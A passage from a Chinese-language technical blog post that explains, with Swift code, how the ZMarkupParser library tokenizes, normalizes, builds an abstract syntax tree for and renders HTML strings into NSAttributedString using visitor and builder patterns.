matchTag, tagAttributedString: matchAttributedString, attributes: matchTagAttributes))) } else { // e.g. <a> or </a> if matchIsEndTag { // e.g. </a> // 從 Stack 取出出現相同 TagName 的位置,從最後開始 if let index = stackStartItems.lastIndex(where: { $0.tagName == matchTag }) { // 如果不是最後一個,代表有錯位或遺漏關閉的 Tag if index != stackStartItems.count - 1 { needForamatter = true } tokenizationResult.append(.close(.init(tagName: matchTag))) stackStartItems.remove(at: index) } else { // 多餘的 close tag e.g </a> // 不影響後續,直接忽略 } } else { // e.g. <a> let startItem: HTMLParsedResult.StartItem = HTMLParsedResult.StartItem(tagName: matchTag, tagAttributedString: matchAttributedString, attributes: matchTagAttributes) tokenizationResult.append(.start(startItem)) // 塞到 Stack stackStartItems.append(startItem) } } } lastMatch = match }}// 檢查結尾的 RawString// e.g. Test<a>Link</a>Test2 - > Test2if let lastMatch = lastMatch { let currentIndex = lastMatch.range.upperBound if totoalLength > currentIndex { // 還有剩餘字串 let resetString = attributedString.attributedSubstring(from: NSMakeRange(currentIndex, (totoalLength - currentIndex))) tokenizationResult.append(.rawString(resetString)) }} else { // lastMatch = nil, 代表沒找到任何標籤,全都是純文字 let resetString = attributedString.attributedSubstring(from: NSMakeRange(0, totoalLength)) tokenizationResult.append(.rawString(resetString))}// 檢查 Stack 是否已經清空,如果還有代表有 Start Tag 沒有對應的 End// 標記成孤立 Start Tagfor stackStartItem in stackStartItems { stackStartItem.isIsolated = true needForamatter = true}print(tokenizationResult)// [// .start(\"a\",[\"href\":\"https://zhgchg.li\"])// .rawString(\"Li\")// .start(\"b\",nil)// .rawString(\"nk\")// .close(\"a\")// .rawString(\"Bold\")// .close(\"b\")// ]運作流程如上圖最終會得到一個 Tokenization 結果陣列。 對應原始碼中的 HTMLStringToParsedResultProcessor.swift 實作標準化 — Normalization a.k.a Formatter, 正規化繼上一步取得初步解析結果後,解析中如果發現還需要 Normalization,則需要此步驟,自動修正 HTML Tag 問題。HTML Tag 問題有以下三種: HTML Tag 但遺漏 Close Tag: 例如 &lt;br&gt; 一般文字被當成 HTML Tag: 例如 &lt;Congratulation!&gt; HTML Tag 存在錯位問題: 例如 &lt;a&gt;Li&lt;b&gt;nk&lt;/a&gt;Bold&lt;/b&gt;修正方式也很簡單,我們需要遍歷 Tokenization 結果的元素,嘗試補齊缺漏。運作流程如上圖var normalizationResult = tokenizationResult// Start Tags Stack, 先進後出(FILO First In Last Out)var stackExpectedStartItems: [HTMLParsedResult.StartItem] = []var itemIndex = 0while itemIndex < newItems.count { switch newItems[itemIndex] { case .start(let item): if item.isIsolated { // 如果為孤立 Start Tag if WC3HTMLTagName(rawValue: item.tagName) == nil && (item.attributes?.isEmpty ?? true) { // 如果不是 WCS 定義的 HTML Tag & 沒有任何 HTML Attribute // WC3HTMLTagName Enum 可參考 Source Code // 判定為 一般文字被當成 HTML Tag // 改成 raw string type normalizationResult[itemIndex] = .rawString(item.tagAttributedString) } else { // 否則,改成 self-closing tag, e.g. <br> -> <br/> normalizationResult[itemIndex] = .selfClosing(item.convertToSelfClosingParsedItem()) } itemIndex += 1 } else { // 正常 Start Tag, 加入 Stack stackExpectedStartItems.append(item) itemIndex += 1 } case .close(let item): // 遇到 Close Tag // 取得 Start Stack Tag 到此 Close Tag 中間隔的 Tags // e.g <a><u><b>[CurrentIndex]</a></u></b> -> 間隔 0 // e.g <a><u><b>[CurrentIndex]</a></u></b> -> 間隔 b,u let reversedStackExpectedStartItems = Array(stackExpectedStartItems.reversed()) guard let reversedStackExpectedStartItemsOccurredIndex = reversedStackExpectedStartItems.firstIndex(where: { $0.tagName == item.tagName }) else { itemIndex += 1 continue } let reversedStackExpectedStartItemsOccurred = Array(reversedStackExpectedStartItems.prefix(upTo: reversedStackExpectedStartItemsOccurredIndex)) // 間隔 0, 代表 tag 沒錯位 guard reversedStackExpectedStartItemsOccurred.count != 0 else { // is pair, pop stackExpectedStartItems.removeLast() itemIndex += 1 continue } // 有其他間隔,自動在前候補期間格 Tag // e.g <a><u><b>[CurrentIndex]</a></u></b> -> // e.g <a><u><b>[CurrentIndex]</b></u></a><b></u></u></b> let stackExpectedStartItemsOccurred = Array(reversedStackExpectedStartItemsOccurred.reversed()) let afterItems = stackExpectedStartItemsOccurred.map({ HTMLParsedResult.start($0) }) let beforeItems = reversedStackExpectedStartItemsOccurred.map({ HTMLParsedResult.close($0.convertToCloseParsedItem()) }) normalizationResult.insert(contentsOf: afterItems, at: newItems.index(after: itemIndex)) normalizationResult.insert(contentsOf: beforeItems, at: itemIndex) itemIndex = newItems.index(after: itemIndex) + stackExpectedStartItemsOccurred.count // 更新 Start Stack Tags // e.g. -> b,u stackExpectedStartItems.removeAll { startItem in return reversedStackExpectedStartItems.prefix(through: reversedStackExpectedStartItemsOccurredIndex).contains(where: { $0 === startItem }) } case .selfClosing, .rawString: itemIndex += 1 }}print(normalizationResult)// [// .start(\"a\",[\"href\":\"https://zhgchg.li\"])// .rawString(\"Li\")// .start(\"b\",nil)// .rawString(\"nk\")// .close(\"b\")// .close(\"a\")// .start(\"b\",nil)// .rawString(\"Bold\")// .close(\"b\")// ] 對應原始碼中的 HTMLParsedResultFormatterProcessor.swift 實作Abstract Syntax Tree a.k.a AST, 抽象樹經過 Tokenization & Normalization 資料預處理完成後,再來要將結果轉換成抽象樹🌲。如上圖轉換成抽象樹可以方便我們日後的操作及擴充,例如實現 Selector 功能或是做其他轉換,例如 HTML To Markdown;亦或是日後想增加 Markdown to NSAttributedString,只需實現 Markdown 的 Tokenization & Normalization 就能完成。首先我們定義一個 Markup Protocol,有 Child & Parent 屬性,紀錄葉子跟樹枝的資訊:protocol Markup: AnyObject { var parentMarkup: Markup? { get set } var childMarkups: [Markup] { get set } func appendChild(markup: Markup) func prependChild(markup: Markup) func accept<V: MarkupVisitor>(_ visitor: V) -> V.Result}extension Markup { func appendChild(markup: Markup) { markup.parentMarkup = self childMarkups.append(markup) } func prependChild(markup: Markup) { markup.parentMarkup = self childMarkups.insert(markup, at: 0) }}另外搭配使用 Visitor Pattern ,將每種樣式屬性都定義成一個物件 Element,再透過不同的 Visit 策略取得個別的套用結果。protocol MarkupVisitor { associatedtype Result func visit(markup: Markup) -> Result func visit(_ markup: RootMarkup) -> Result func visit(_ markup: RawStringMarkup) -> Result func visit(_ markup: BoldMarkup) -> Result func visit(_ markup: LinkMarkup) -> Result //...}extension MarkupVisitor { func visit(markup: Markup) -> Result { return markup.accept(self) }}基本 Markup 節點:// 根節點final class RootMarkup: Markup { weak var parentMarkup: Markup? = nil var childMarkups: [Markup] = [] func accept<V>(_ visitor: V) -> V.Result where V : MarkupVisitor { return visitor.visit(self) }}// 葉節點final class RawStringMarkup: Markup { let attributedString: NSAttributedString init(attributedString: NSAttributedString) { self.attributedString = attributedString } weak var parentMarkup: Markup? = nil var childMarkups: [Markup] = [] func accept<V>(_ visitor: V) -> V.Result where V : MarkupVisitor { return visitor.visit(self) }}定義 Markup 樣式節點:// 樹枝節點:// 連結樣式final class LinkMarkup: Markup { weak var parentMarkup: Markup? = nil var childMarkups: [Markup] = [] func accept<V>(_ visitor: V) -> V.Result where V : MarkupVisitor { return visitor.visit(self) }}// 粗體樣式final class BoldMarkup: Markup { weak var parentMarkup: Markup? = nil var childMarkups: [Markup] = [] func accept<V>(_ visitor: V) -> V.Result where V : MarkupVisitor { return visitor.visit(self) }} 對應原始碼中的 Markup 實作轉換成抽象樹之前我們還需要…MarkupComponent因為我們的樹結構不與任何資料結構有依賴(例如 a 節點/LinkMarkup,應該要有 url 資訊才能做後續 Render)。 對此我們另外定義一個容器存放樹節點與節點相關的資料資訊:protocol MarkupComponent { associatedtype T var markup: Markup { get } var value: T { get } init(markup: Markup, value: T)}extension Sequence where Iterator.Element: MarkupComponent { func value(markup: Markup) -> Element.T? { return self.first(where:{ $0.markup === markup })?.value as? Element.T }} 對應原始碼中的 MarkupComponent 實作也可將 Markup 宣告 Hashable ,直接使用 Dictionary 存放值 [Markup: Any] ,但是這樣 Markup 就不能被當一般 type 使用,要加上 any Markup 。HTMLTag & HTMLTagName & HTMLTagNameVisitorHTML Tag Name 部分我們也做了一層的抽象,讓使用者能自行決定有哪些 Tag 需要被處理,也能方便日後的擴充,例如: &lt;strong&gt; Tag Name 同樣可對應到 BoldMarkup 。public protocol HTMLTagName { var string: String { get } func accept<V: HTMLTagNameVisitor>(_ visitor: V) -> V.Result}public struct A_HTMLTagName: HTMLTagName { public let string: String = WC3HTMLTagName.a.rawValue public init() { } public func accept<V>(_ visitor: V) -> V.Result where V : HTMLTagNameVisitor { return visitor.visit(self) }}public struct B_HTMLTagName: HTMLTagName { public let string: String = WC3HTMLTagName.b.rawValue public init() { } public func accept<V>(_ visitor: V) -> V.Result where V : HTMLTagNameVisitor { return visitor.visit(self) }} 對應原始碼中的 HTMLTagNameVisitor 實作 另外參考 W3C wiki 列舉了 HTML tag name enum: WC3HTMLTagName.swiftHTMLTag 則是單純一個容器物件,因為我們希望能讓外部指定 HTML Tag 對應到的樣式,所以宣告一個容器放在一起:struct HTMLTag { let tagName: HTMLTagName let customStyle: MarkupStyle? // 後面介紹 Render 會解釋 init(tagName: HTMLTagName, customStyle: MarkupStyle? = nil) { self.tagName = tagName self.customStyle = customStyle }} 對應原始碼中的 HTMLTag 實作HTMLTagNameToHTMLMarkupVisitorstruct HTMLTagNameToMarkupVisitor: HTMLTagNameVisitor { typealias Result = Markup let attributes: [String: String]? func visit(_ tagName: A_HTMLTagName) -> Result { return LinkMarkup() } func visit(_ tagName: B_HTMLTagName) -> Result { return BoldMarkup() } //...} 對應原始碼中的 HTMLTagNameToHTMLMarkupVisitor 實作轉換成抽象樹 with HTML 資料我們要將 Normalization 後的 HTML 資料結果轉換成抽象樹,首先宣告一個能存放 HTML 資料的 MarkupComponent 資料結構:struct HTMLElementMarkupComponent: MarkupComponent { struct HTMLElement { let tag: HTMLTag let tagAttributedString: NSAttributedString let attributes: [String: String]? } typealias T = HTMLElement let markup: Markup let value: HTMLElement init(markup: Markup, value: HTMLElement) { self.markup = markup self.value = value }}轉換成 Markup 抽象樹:var htmlElementComponents: [HTMLElementMarkupComponent] = []let rootMarkup = RootMarkup()var currentMarkup: Markup = rootMarkuplet htmlTags: [String: HTMLTag]init(htmlTags: [HTMLTag]) { self.htmlTags = Dictionary(uniqueKeysWithValues: htmlTags.map{ ($0.tagName.string, $0) })}// Start Tags Stack, 確保有正確 pop tag// 前面已經做過 Normalization 了, 應該不會出錯, 只是確保而已var stackExpectedStartItems: [HTMLParsedResult.StartItem] = []for thisItem in from { switch thisItem { case .start(let item): let visitor = HTMLTagNameToMarkupVisitor(attributes: item.attributes) let htmlTag = self.htmlTags[item.tagName] ?? HTMLTag(tagName: ExtendTagName(item.tagName)) // 用 Visitor 問對應的 Markup let markup = visitor.visit(tagName: htmlTag.tagName) // 把自己加入當前枝的葉節點 // 自己變成當前枝節點 htmlElementComponents.append(.init(markup: markup, value: .init(tag: htmlTag, tagAttributedString: item.tagAttributedString, attributes: item.attributes))) currentMarkup.appendChild(markup: markup) currentMarkup = markup stackExpectedStartItems.append(item) case .selfClosing(let item): // 直接加入當前枝的葉節點 let visitor = HTMLTagNameToMarkupVisitor(attributes: item.attributes) let htmlTag = self.htmlTags[item.tagName] ?? HTMLTag(tagName: ExtendTagName(item.tagName)) let markup = visitor.visit(tagName: htmlTag.tagName) htmlElementComponents.append(.init(markup: markup, value: .init(tag: htmlTag, tagAttributedString: item.tagAttributedString, attributes: item.attributes))) currentMarkup.appendChild(markup: markup) case .close(let item): if let lastTagName = stackExpectedStartItems.popLast()?.tagName, lastTagName == item.tagName { // 遇到 Close Tag, 就回到上一層 currentMarkup = currentMarkup.parentMarkup ?? currentMarkup } case .rawString(let attributedString): // 直接加入當前枝的葉節點 currentMarkup.appendChild(markup: RawStringMarkup(attributedString: attributedString)) }}// print(htmlElementComponents)// [(markup: LinkMarkup, (tag: a, attributes: [\"href\":\"zhgchg.li\"]...)]運作結果如上圖 對應原始碼中的 HTMLParsedResultToHTMLElementWithRootMarkupProcessor.swift 實作此時,其實我們就完成 Selector 的功能了 🎉public class HTMLSelector: CustomStringConvertible { let markup: Markup let componets: [HTMLElementMarkupComponent] init(markup: Markup, componets: [HTMLElementMarkupComponent]) { self.markup = markup self.componets = componets } public func filter(_ htmlTagName: String) -> [HTMLSelector] { let result = markup.childMarkups.filter({ componets.value(markup: $0)?.tag.tagName.isEqualTo(htmlTagName) ?? false }) return result.map({ .init(markup: $0, componets: componets) }) } //...}我們可以一層一層 Filter 葉節點物件。 對應原始碼中的 HTMLSelector 實作Parser — HTML to MarkupSyle (Abstract of NSAttributedString.Key)再來我們要先完成將 HTML 轉換成 MarkupStyle (NSAttributedString.Key)。NSAttributedString 是透過 NSAttributedString.Key Attributes 來設定字的樣式,我們抽象出 NSAttributedString.Key 的所有欄位對應到 MarkupStyle,MarkupStyleColor,MarkupStyleFont,MarkupStyleParagraphStyle。目的: 原本的 Attributes 的資料結構是 [NSAttributedString.Key: Any?] ,如果直接暴露出去,我們很難控制使用者帶入的值,如果帶錯還會造成閃退,例如 .font: 123 樣式需要可繼承,例如 &lt;a&gt;&lt;b&gt;test&lt;/b&gt;&lt;/a&gt; ,test 字串的樣式就是繼承自 link 的 bold (bold+linke);如果直接暴露 Dictionary 出去很難控制好繼承規 封裝 iOS/macOS (UIKit/Appkit) 所屬物件MarkupStyle Structpublic struct MarkupStyle { public var font:MarkupStyleFont public var paragraphStyle:MarkupStyleParagraphStyle public var foregroundColor:MarkupStyleColor? = nil public var backgroundColor:MarkupStyleColor? = nil public var ligature:NSNumber? = nil public var kern:NSNumber? = nil public var tracking:NSNumber? = nil public var strikethroughStyle:NSUnderlineStyle? = nil public var underlineStyle:NSUnderlineStyle? = nil public var strokeColor:MarkupStyleColor? = nil public var strokeWidth:NSNumber? = nil public var shadow:NSShadow? = nil public var textEffect:String? = nil public var attachment:NSTextAttachment? = nil public var link:URL? = nil public var baselineOffset:NSNumber? = nil public var underlineColor:MarkupStyleColor? = nil public var strikethroughColor:MarkupStyleColor? = nil public var obliqueness:NSNumber? = nil public var expansion:NSNumber? = nil public var writingDirection:NSNumber? = nil public var verticalGlyphForm:NSNumber? = nil //... // 繼承自... // 預設: 欄位為 nil 時,從 from 填入當前資料物件 mutating func fillIfNil(from: MarkupStyle?) { guard let from = from else { return } var currentFont = self.font currentFont.fillIfNil(from: from.font) self.font = currentFont var currentParagraphStyle = self.paragraphStyle currentParagraphStyle.fillIfNil(from: from.paragraphStyle) self.paragraphStyle = currentParagraphStyle //.. } // MarkupStyle to NSAttributedString.Key: Any func render() -> [NSAttributedString.Key: Any] { var data: [NSAttributedString.Key: Any] = [:] if let font = font.getFont() { data[.font] = font } if let ligature = self.ligature { data[.ligature] = ligature } //... return data }}public struct MarkupStyleFont: MarkupStyleItem { public enum FontWeight { case style(FontWeightStyle) case rawValue(CGFloat) } public enum FontWeightStyle: String { case ultraLight, light, thin, regular, medium, semibold, bold, heavy, black // ... } public var size: CGFloat? public var weight: FontWeight? public var italic: Bool? //...}public struct MarkupStyleParagraphStyle: MarkupStyleItem { public var lineSpacing:CGFloat? = nil public var paragraphSpacing:CGFloat? = nil public var alignment:NSTextAlignment? = nil public var headIndent:CGFloat? = nil public var tailIndent:CGFloat? = nil public var firstLineHeadIndent:CGFloat? = nil public var minimumLineHeight:CGFloat? = nil public var maximumLineHeight:CGFloat? = nil public var lineBreakMode:NSLineBreakMode? = nil public var baseWritingDirection:NSWritingDirection? = nil public var lineHeightMultiple:CGFloat? = nil public var paragraphSpacingBefore:CGFloat? = nil public var hyphenationFactor:Float? = nil public var usesDefaultHyphenation:Bool? = nil public var tabStops: [NSTextTab]? = nil public var defaultTabInterval:CGFloat? = nil public var textLists: [NSTextList]? = nil public var allowsDefaultTighteningForTruncation:Bool? = nil public var lineBreakStrategy: NSParagraphStyle.LineBreakStrategy? = nil //...}public struct MarkupStyleColor { let red: Int let green: Int let blue: Int let alpha: CGFloat //...} 對應原始碼中的 MarkupStyle 實作 另外也參考 W3c wiki, browser predefined color name 列舉了對應 color name text & color R,G,B enum: MarkupStyleColorName.swiftHTMLTagStyleAttribute & HTMLTagStyleAttributeVisitor這邊多提一下這兩個物件,因為 HTML Tag 是允許搭配從 CSS 設定樣式的;對此我們同 HTMLTagName 的抽象,再套用一次在 HTML Style Attribute 上。例如 HTML 可能會給: &lt;a style=”color:red;font-size:14px”&gt;RedLink&lt;/a&gt; ,代表這個連結要設定成紅色、大小 14px。public protocol HTMLTagStyleAttribute { var styleName: String { get } func accept<V: HTMLTagStyleAttributeVisitor>(_ visitor: V) -> V.Result}public protocol HTMLTagStyleAttributeVisitor { associatedtype Result func visit(styleAttribute: HTMLTagStyleAttribute) -> Result func visit(_ styleAttribute: ColorHTMLTagStyleAttribute) -> Result func visit(_ styleAttribute: FontSizeHTMLTagStyleAttribute) -> Result //...}public extension HTMLTagStyleAttributeVisitor { func visit(styleAttribute: HTMLTagStyleAttribute) -> Result { return styleAttribute.accept(self) }} 對應原始碼中的 HTMLTagStyleAttribute 實作HTMLTagStyleAttributeToMarkupStyleVisitorstruct HTMLTagStyleAttributeToMarkupStyleVisitor: HTMLTagStyleAttributeVisitor { typealias Result = MarkupStyle? let value: String func visit(_ styleAttribute: ColorHTMLTagStyleAttribute) -> Result { // 正則挖取 Color Hex or Mapping from HTML Pre-defined Color Name, 請參考 Source Code guard let color = MarkupStyleColor(string: value) else { return nil } return MarkupStyle(foregroundColor: color) } func visit(_ styleAttribute: FontSizeHTMLTagStyleAttribute) -> Result { // 正則挖取 10px -> 10, 請參考 Source Code guard let size = self.convert(fromPX: value) else { return nil } return MarkupStyle(font: MarkupStyleFont(size: CGFloat(size))) } // ...} 對應原始碼中的 HTMLTagAttributeToMarkupStyleVisitor.swift 實作init 的 value = attribute 的值,依照 visit 類型轉換到對應 MarkupStyle 欄位。HTMLElementMarkupComponentMarkupStyleVisitor介紹完 MarkupStyle 物件後,我們要從 Normalization 的 HTMLElementComponents 結果轉換成 MarkupStyle。// MarkupStyle 策略public enum MarkupStylePolicy { case respectMarkupStyleFromCode // 從 Code 來的為主, 用 HTML Style Attribute 來的填空 case respectMarkupStyleFromHTMLStyleAttribute // 從 HTML Style Attribute 來的為主, 用 Code 來的填空}struct HTMLElementMarkupComponentMarkupStyleVisitor: MarkupVisitor { typealias Result = MarkupStyle? let policy: MarkupStylePolicy let components: [HTMLElementMarkupComponent] let styleAttributes: [HTMLTagStyleAttribute] func visit(_ markup: BoldMarkup) -> Result { // .bold 只是定義在 MarkupStyle 中的預設樣式, 請參考 Source Code return defaultVisit(components.value(markup: markup), defaultStyle: .bold) } func visit(_ markup: LinkMarkup) -> Result { // .link 只是定義在 MarkupStyle 中的預設樣式, 請參考 Source Code var markupStyle = defaultVisit(components.value(markup: markup), defaultStyle: .link) ?? .link // 從 HtmlElementComponents 取得 LinkMarkup 對應的 HtmlElement // 從 HtmlElement 中的 attributes 找 href 參數 (HTML 帶 URL String 的方式) if let href = components.value(markup: markup)?.attributes?[\"href\"] as? String, let url = URL(string: href) { markupStyle.link = url } return markupStyle } // ...}extension HTMLElementMarkupComponentMarkupStyleVisitor { // 取得 HTMLTag 容器中指定想客製化的 MarkupStyle private func customStyle(_ htmlElement: HTMLElementMarkupComponent.HTMLElement?) -> MarkupStyle? { guard let customStyle = htmlElement?.tag.customStyle else { return nil } return customStyle } // 預設動作 func defaultVisit(_ htmlElement: HTMLElementMarkupComponent.HTMLElement?, defaultStyle: MarkupStyle? = nil) -> Result { var markupStyle: MarkupStyle? = customStyle(htmlElement) ?? defaultStyle // 從 HtmlElementComponents 取得 LinkMarkup 對應的 HtmlElement // 看看 HtmlElement 中的 attributes 有沒有 `Style` Attribute guard let styleString = htmlElement?.attributes?[\"style\"], styleAttributes.count > 0 else { // 沒有 return markupStyle } // 有 Style Attributes // 切割 Style Value 字串成陣列 // font-size:14px;color:red -> [\"font-size\":\"14px\",\"color\":\"red\"] let styles = styleString.split(separator: \";\").filter { $0.trimmingCharacters(in: .whitespacesAndNewlines) != \"\" }.map { $0.split(separator: \":\") } for style in styles { guard style.count == 2 else { continue } // e.g font-szie let key = style[0].trimmingCharacters(in: .whitespacesAndNewlines) // e.g. 14px let value = style[1].trimmingCharacters(in: .whitespacesAndNewlines) if let styleAttribute = styleAttributes.first(where: { $0.isEqualTo(styleName: key) }) { // 使用上文中的 HTMLTagStyleAttributeToMarkupStyleVisitor 換回 MarkupStyle let visitor = HTMLTagStyleAttributeToMarkupStyleVisitor(value: value) if var thisMarkupStyle = visitor.visit(styleAttribute: styleAttribute) { // Style Attribute 有換回值時.. // 合併上一個 MarkupStyle 結果 thisMarkupStyle.fillIfNil(from: markupStyle) markupStyle = thisMarkupStyle } } } // 如果有預設 Style if var defaultStyle = defaultStyle { switch policy { case .respectMarkupStyleFromHTMLStyleAttribute: // Style Attribute MarkupStyle 為主,然後 // 合併 defaultStyle 結果 markupStyle?.fillIfNil(from: defaultStyle) case .respectMarkupStyleFromCode: // defaultStyle 為主,然後 // 合併 Style Attribute MarkupStyle 結果 defaultStyle.fillIfNil(from: markupStyle) markupStyle = defaultStyle } } return markupStyle }} 對應原始碼中的 HTMLTagAttributeToMarkupStyleVisitor.swift 實作我們會定義部分預設樣式在 MarkupStyle 中,部分 Markup 如果沒有從 Code 外部指定 Tag 想要的樣式時會使用預設樣式。樣式繼承策略有兩種: respectMarkupStyleFromCode:使用預設樣式為主;再看 Style Attributes 中能補上什麼樣式,如果本來就有值則忽略。 respectMarkupStyleFromHTMLStyleAttribute:看 Style Attributes 為主;再看 預設樣式 中能補上什麼樣式,如果本來就有值則忽略。HTMLElementWithMarkupToMarkupStyleProcessor將 Normalization 結果轉換成 AST & MarkupStyleComponent。新宣告一個 MarkupComponent 這次要存放對應 MarkupStyle:struct MarkupStyleComponent: MarkupComponent { typealias T = MarkupStyle let markup: Markup let value: MarkupStyle init(markup: Markup, value: MarkupStyle) { self.markup = markup self.value = value }}簡單遍歷個 Markup Tree & HTMLElementMarkupComponent 結構:let styleAttributes: [HTMLTagStyleAttribute]let policy: MarkupStylePolicy func process(from: (Markup, [HTMLElementMarkupComponent])) -> [MarkupStyleComponent] { var components: [MarkupStyleComponent] = [] let visitor = HTMLElementMarkupComponentMarkupStyleVisitor(policy: policy, components: from.1, styleAttributes: styleAttributes) walk(markup: from.0, visitor: visitor, components: &components) return components} func walk(markup: Markup, visitor: HTMLElementMarkupComponentMarkupStyleVisitor, components: inout [MarkupStyleComponent]) { if let markupStyle = visitor.visit(markup: markup) { components.append(.init(markup: markup, value: markupStyle)) } for markup in markup.childMarkups { walk(markup: markup, visitor: visitor, components: &components) }}// print(components)// [(markup: LinkMarkup, MarkupStyle(link: https://zhgchg.li, color: .blue)]// [(markup: BoldMarkup, MarkupStyle(font: .init(weight: .bold))] 對應原始碼中的 HTMLElementWithMarkupToMarkupStyleProcessor.swift 實作流程結果如上圖Render — Convert To NSAttributedString現在我們有了 HTML Tag 抽象樹結構、HTML Tag 對應的 MarkupStyle 後;最後一步我們就能來產出最後的 NSAttributedString 渲染結果。MarkupNSAttributedStringVisitorvisit markup to NSAttributedStringstruct MarkupNSAttributedStringVisitor: MarkupVisitor { typealias Result = NSAttributedString let components: [MarkupStyleComponent] // root / base 的 MarkupStyle, 外部指定,例如可指定整串字的大小 let rootStyle: MarkupStyle? func visit(_ markup: RootMarkup) -> Result { // 往下看 RawString 物件 return collectAttributedString(markup) } func visit(_ markup: RawStringMarkup) -> Result { // 回傳 Raw String // 搜集鏈上的所有 MarkupStyle // 套用 Style 到 NSAttributedString return applyMarkupStyle(markup.attributedString, with: collectMarkupStyle(markup)) } func visit(_ markup: BoldMarkup) -> Result { // 往下看 RawString 物件 return collectAttributedString(markup) } func visit(_ markup: LinkMarkup) -> Result { // 往下看 RawString 物件 return collectAttributedString(markup) } // ...}private extension MarkupNSAttributedStringVisitor { // 套用 Style 到 NSAttributedString func applyMarkupStyle(_ attributedString: NSAttributedString, with markupStyle: MarkupStyle?) -> NSAttributedString { guard let markupStyle = markupStyle else { return attributedString } let mutableAttributedString = NSMutableAttributedString(attributedString: attributedString) mutableAttributedString.addAttributes(markupStyle.render(), range: NSMakeRange(0, mutableAttributedString.string.utf16.count)) return mutableAttributedString } func collectAttributedString(_ markup: Markup) -> NSMutableAttributedString { // collect from downstream // Root -> Bold -> String(\"Bold\") // \\ // > String(\"Test\") // Result: Bold Test // 一層一層往下找 raw string, 遞迴 visit 並組合出最終 NSAttributedString return markup.childMarkups.compactMap({ visit(markup: $0) }).reduce(NSMutableAttributedString()) { partialResult, attributedString in partialResult.append(attributedString) return partialResult } } func collectMarkupStyle(_ markup: Markup) -> MarkupStyle? { // collect from upstream // String(\"Test\") -> Bold -> Italic -> Root // Result: style: Bold+Italic // 一層一層網上找 parent tag 的 markupstyle // 然後一層一層繼承樣式 var currentMarkup: Markup? = markup.parentMarkup var currentStyle = components.value(markup: markup) while let thisMarkup = currentMarkup { guard let thisMarkupStyle = components.value(markup: thisMarkup) else { currentMarkup = thisMarkup.parentMarkup continue } if var thisCurrentStyle = currentStyle { thisCurrentStyle.fillIfNil(from: thisMarkupStyle) currentStyle = thisCurrentStyle } else { currentStyle = thisMarkupStyle } currentMarkup = thisMarkup.parentMarkup } if var currentStyle = currentStyle { currentStyle.fillIfNil(from: rootStyle) return currentStyle } else { return rootStyle } }} 對應原始碼中的 MarkupNSAttributedStringVisitor.swift 實作運作流程及結果如上圖最終我們可以得到:Li{ NSColor = \"Blue\"; NSFont = \"<UICTFont: 0x145d17600> font-family: \\\".SFUI-Regular\\\"; font-weight: normal; font-style: normal; font-size: 13.00pt\"; NSLink = \"https://zhgchg.li\";}nk{ NSColor = \"Blue\"; NSFont = \"<UICTFont: 0x145d18710> font-family: \\\".SFUI-Semibold\\\"; font-weight: bold; font-style: normal; font-size: 13.00pt\"; NSLink = \"https://zhgchg.li\";}Bold{ NSFont = \"<UICTFont: 0x145d18710> font-family: \\\".SFUI-Semibold\\\"; font-weight: bold; font-style: normal; font-size: 13.00pt\";} 🎉🎉🎉🎉完成🎉🎉🎉🎉到此我們就完成了 HTML String to NSAttributedString 的整個轉換過程。Stripper — 剝離 HTML Tag剝離 HTML Tag 的部分相對簡單,只需要:func attributedString(_ markup: Markup) -> NSAttributedString { if let rawStringMarkup = markup as? RawStringMarkup { return rawStringMarkup.attributedString } else { return markup.childMarkups.compactMap({ attributedString($0) }).reduce(NSMutableAttributedString()) { partialResult, attributedString in partialResult.append(attributedString) return partialResult } }} 對應原始碼中的 MarkupStripperProcessor.swift 實作類似 Render,但純粹找到 RawStringMarkup 後返回內容。Extend — 動態擴充為了能擴充涵蓋所有 HTMLTag/Style Attribute 所以開了一個動態擴充的口,方便直接從 Code 動態擴充物件。public struct ExtendTagName: HTMLTagName { public let string: String public init(_ w3cHTMLTagName: WC3HTMLTagName) { self.string = w3cHTMLTagName.rawValue } public init(_ string: String) { self.string = string.trimmingCharacters(in: .whitespacesAndNewlines).lowercased() } public func accept<V>(_ visitor: V) -> V.Result where V : HTMLTagNameVisitor { return visitor.visit(self) }}// tofinal class ExtendMarkup: Markup { weak var parentMarkup: Markup? = nil var childMarkups: [Markup] = [] func accept<V>(_ visitor: V) -> V.Result where V : MarkupVisitor { return visitor.visit(self) }}//----public struct ExtendHTMLTagStyleAttribute: HTMLTagStyleAttribute { public let styleName: String public let render: ((String) -> (MarkupStyle?)) // 動態用 clourse 變更 MarkupStyle public init(styleName: String, render: @escaping ((String) -> (MarkupStyle?))) { self.styleName = styleName self.render = render } public func accept<V>(_ visitor: V) -> V.Result where V : HTMLTagStyleAttributeVisitor { return visitor.visit(self) }}ZHTMLParserBuilder最後我們使用 Builder Pattern 讓外部 Module 可以快速構建 ZMarkupParser 所需的物件,並做好 Access Level Control。public final class ZHTMLParserBuilder { private(set) var htmlTags: [HTMLTag] = [] private(set) var styleAttributes: [HTMLTagStyleAttribute] = [] private(set) var rootStyle: MarkupStyle? private(set) var policy: MarkupStylePolicy = .respectMarkupStyleFromCode public init() { } public static func initWithDefault() -> Self { var builder = Self.init() for htmlTagName in ZHTMLParserBuilder.htmlTagNames { builder = builder.add(htmlTagName) } for styleAttribute in ZHTMLParserBuilder.styleAttributes { builder = builder.add(styleAttribute) } return builder } public func set(_ htmlTagName: HTMLTagName, withCustomStyle markupStyle: MarkupStyle?) -> Self { return self.add(htmlTagName, withCustomStyle: markupStyle) } public func add(_ htmlTagName: HTMLTagName, withCustomStyle markupStyle: MarkupStyle? = nil) -> Self { // 同個 tagName 只能存在一個 htmlTags.removeAll { htmlTag in return htmlTag.tagName.string == htmlTagName.string } htmlTags.append(HTMLTag(tagName: htmlTagName, customStyle: markupStyle)) return self } public func add(_ styleAttribute: HTMLTagStyleAttribute) -> Self { styleAttributes.removeAll { thisStyleAttribute in return thisStyleAttribute.styleName == styleAttribute.styleName } styleAttributes.append(styleAttribute) return self } public func set(rootStyle: MarkupStyle) -> Self { self.rootStyle = rootStyle return self } public func set(policy: MarkupStylePolicy) -> Self { self.policy = policy return self } public func build() -> ZHTMLParser { // ZHTMLParser init 只開放 internal, 外部無法直接 init // 只能透過 ZHTMLParserBuilder init return ZHTMLParser(htmlTags: htmlTags, styleAttributes: styleAttributes, policy: policy, rootStyle: rootStyle) }} 對應原始碼中的 ZHTMLParserBuilder.swift 實作initWithDefault 預設會加入所有已經實現的 HTMLTagName/Style Attributepublic extension ZHTMLParserBuilder { static var htmlTagNames: [HTMLTagName] { return [ A_HTMLTagName(), B_HTMLTagName(), BR_HTMLTagName(), DIV_HTMLTagName(), HR_HTMLTagName(), I_HTMLTagName(), LI_HTMLTagName(), 